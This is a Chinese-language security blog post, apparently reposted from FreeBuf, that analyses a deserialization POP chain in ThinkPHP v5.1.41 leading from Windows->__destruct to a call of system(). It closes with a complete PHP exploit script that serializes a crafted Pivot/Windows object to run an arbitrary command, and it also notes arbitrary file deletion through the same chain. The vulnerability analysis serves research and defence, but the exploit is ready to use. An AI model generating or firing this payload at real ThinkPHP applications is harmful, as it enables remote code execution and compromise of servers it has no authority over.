Thinkphp v5.1.41反序列化漏洞的分析及EXP,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
# Author: 4ut15m
# Date: 2021年4月11日 22:45:46
# Version: thinkphp v5.1.41LTS
# Install: composer create-project topthink/think tp5141 5.1.41 --prefer-dist
晚上回顾tp以前反序列化漏洞的时候发现的,好像是一条新的POP链,没有在网上看见其他师傅发表这条链
Windows->__destruct -->Windows->removeFiles -->Conversion->__toString -->Conversion->toJson -->Conversion->toArray -->Attribute->getAttr
Conversion->Model
Model->Pivot
先看命令执行处,若$closure
、$value
都可控,即可执行命令
POP链首和tp5.0反序列化漏洞起点一样,Windows->__destruct
Windows->removeFiles,控制Windows->files可以删除任意文件。
file_exists函数可触发__toString魔术方法,找到Conversion的toString
跟进Conversion->toArray,$this->append
可控
跟进getRelation,使得该方法返回null即可进入if
跟进getAttr,发现关键点
要使代码执行到493行,需要设置$this->withAttr[$fileName]
.$closure
由$this->withAttr[$fileName]
控制,$this->withAttr
可控,$fileName
由我们参数$name
即我们传入的$this->append
的key控制,也是可控的。
value由getData得到
代码第269行,如果$this->data
中存在$name
键,就将$this->data[$name]
的值赋给value,$this->data与$name皆可控,故value可控
整理思路如下
Conversion->append = ["4ut15m"=>[]]
Conversion->relation = false
Conversion->withAttr = ["4ut15m"=>"system"]
Conversion->data = ["4ut15m"=>"cmd"] //要执行的命令
因为convertion是trait类,所以只要找到一个使用了conversion的类即可,全局搜索conversion找到Model类
由于Model是抽象类,我们得找到Model的实现类,全局搜索找到Pivot
至此可以编写exp
Windows->files = new Pivot()
Pivot->relation = false
Pivot->data = ["4ut15m"=>"cmd"] //要执行的命令
Pivot->withAttr = ["4ut15m"=>"system"]
<?php
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $append = ['4ut15m'=>[]];
public function __construct($cmd){
$this->relation = false;
$this->data = ['4ut15m'=>$cmd]; //任意值,value
$this->withAttr = ['4ut15m'=>'system'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct($cmd){
$this->files = [new Pivot($cmd)]; //Conversion类
}
}
$windows = new Windows($argv[1]);
echo urlencode(serialize($windows))."\n";
?>
在tp中加一个反序列化点
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。
亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
原文链接:https://www.freebuf.com/vuls/269882.html